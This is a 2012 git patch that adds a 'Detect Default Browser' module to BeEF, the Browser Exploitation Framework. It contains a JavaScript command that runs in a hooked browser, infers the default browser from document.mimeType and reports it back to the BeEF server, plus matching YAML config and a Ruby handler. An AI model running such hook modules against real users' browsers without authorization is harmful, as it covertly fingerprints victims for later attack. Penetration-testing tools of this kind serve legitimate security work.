From 4e7e1129bbefa938bbe0aa0e339b3811c217dcdc Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 13 Dec 2012 18:04:16 +1030 Subject: [PATCH] Added Detect Default Browser module --- .../browser/detect_default_browser/command.js | 24 +++++++++++++++++++ .../detect_default_browser/config.yaml | 16 +++++++++++++ .../browser/detect_default_browser/module.rb | 14 +++++++++++ 3 files changed, 54 insertions(+) create mode 100644 modules/browser/detect_default_browser/command.js create mode 100644 modules/browser/detect_default_browser/config.yaml create mode 100644 modules/browser/detect_default_browser/module.rb diff --git a/modules/browser/detect_default_browser/command.js b/modules/browser/detect_default_browser/command.js new file mode 100644 index 000000000..41b337759 --- /dev/null +++ b/modules/browser/detect_default_browser/command.js @@ -0,0 +1,24 @@ +// +// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var mt = document.mimeType; + + if (mt) { + if (mt == "Safari Document") result = "Safari"; + if (mt == "Firefox HTML Document") result = "Firefox"; + if (mt == "Chrome HTML Document") result = "Chrome"; + if (mt == "HTML Document") result = "Internet Explorer"; + if (mt == "Opera Web Document") result = "Opera"; + } else { + result = "Unknown"; + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+result); + +}); + diff --git a/modules/browser/detect_default_browser/config.yaml b/modules/browser/detect_default_browser/config.yaml new file mode 100644 index 000000000..c695c224e --- /dev/null +++ b/modules/browser/detect_default_browser/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + detect_default_browser: + enable: true + category: "Browser" + name: "Detect Default Browser" + description: "This module detects which browser is configured as the default web browser." + authors: ["bcoles"] + target: + working: ["IE"] + not_working: ["All"] diff --git a/modules/browser/detect_default_browser/module.rb b/modules/browser/detect_default_browser/module.rb new file mode 100644 index 000000000..5fd5764d4 --- /dev/null +++ b/modules/browser/detect_default_browser/module.rb @@ -0,0 +1,14 @@ +# +# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Detect_default_browser < BeEF::Core::Command + + def post_execute + content = {} + content['browser'] = @datastore['browser'] if not @datastore['browser'].nil? + save content + end + +end